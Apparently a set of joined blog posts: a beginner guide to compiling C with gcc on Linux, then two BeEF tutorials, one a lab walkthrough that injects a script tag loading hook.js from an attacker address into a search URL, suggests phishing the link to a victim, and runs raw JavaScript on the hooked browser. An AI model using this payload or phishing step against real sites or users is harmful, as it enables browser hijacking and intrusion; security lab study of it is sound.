How to Run "C Program" in Linux

Hello friends,

sometimes we need to run the C programs in the Linux Box,

Today i am showing you people how to run an "C language program" from the Linux System.

In linux we can use the gcc command to run C programs

Most of the time by default the gcc installed in the linux.

Type the following command to verify the gcc is installed :

which gcc

output

/usr/bin/gcc

To find the version of the gcc

gcc --verision

output

gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
Copyright (C) 2011 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Writing first program:

Open the vi editor

$vi Hello.c

and type the following lines of code

#include<stdio.h>
main (void)
{
    printf("Hello World");
    return 0;
}

Compiling Program

Compile the program and make executable

$gcc Hello.c -o Hello

To execute the program

$./Hello

Output

Hello World

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BeEF Lab

Hello friends

we seen how to start and test BeEF in the previous post. Now in this post we will be seeing how to work with XSS Vulnerability by using BeEF Framework.

Lab Setting:

1.XP Virtual Machine (Victim)
2.Backtrack VM (Attacker)

Attacker:

1.Start BeEF in the Backtrack.

Now we will get the UI URL and the HOOK URL

2.Open the browser (any browser but firefox is preferable)

3.Copy the UI URL from the terminal and paste it in a URL of a browser http://192.168.0.103:3000/ui/panel

4.Now you will get the login screen of beef

5.Enter the username and password as beef/beef

6.Take any site that is vulnerable to xss ex: demo.testfire.net

7.Check for the cross site scripting vulnerability with simple script <script>alert(123);</script>

8.paste that script in the search box of demo.testfire.net

9.See if you are getting the pop up box or not

10.see the URL in the website http://demo.testfire.net/search.aspx?txtSearch=<script>alert(123);</script>

11.Frame the URL with like this <script src=http://192.168.0.103:3000/hook.js></script>

http://demo.testfire.net/search.aspx?txtSearch=<script src=http://192.168.0.103:3000/hook.js></script>

12.perform some social engineering to send the link to victim by using the mail or chat

Victim:

1.Now victim open the link the attacker sended nothing changed, the page is as usual

Attacker:

when ever the victim opens that link check in the beef user interface

the beef will create a zombie of victim system

click on the zombie which created

Go to the Commands tab --> Misc --> Raw javascript --> Execute

and see in the victim machine i.e,XP

now u can execute what ever the commands u want on the victim machine.

in the next post i will show how to integrate the metasploit with the beef framework

thank u

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BeEF - Browser Exploitation Framework

BeEF is the Browser Exploitation Framework. The BeEF is an powerful security Framework. It Mainly focuses on the browser based exploits.



If you want to see the real exploitaiton with the XSS(Cross Site Scripting) the beef can be good one. By using Beef we can see what we can do with the XSS Vulnerability.

How to start with BEEF

In Backtrack Beef is already there but before that you have to install it once

Applications --> Backtrack --> Exploitation Tools --> Social Engineering Tools --> Beef XSS Framework --> Beef installer

You will be getting this screen

Applications --> Backtrack --> Exploitation Tools --> Social Engineering Tools --> Beef XSS Framework --> Beef

Dont close this terminal place like that only

The default username/password is beef/beef

Copy the UI URL and paste that in the Attacker Browser

and we will get an beef authentication page

the username and password is beef/beef

After login we will get this page

For checking

http://192.168.0.107:3000/demos/basic.html

Just place this in another tab

and see in the hooked browser section

after that we will get all the details of the hooked browser and we can execute the scripts

In the next article we will see how to exploit the XSS Vulnerability using BeEF Framework

More information on BeEF

http://www.bindshell.net/tools/beef.html

http://beefproject.com/

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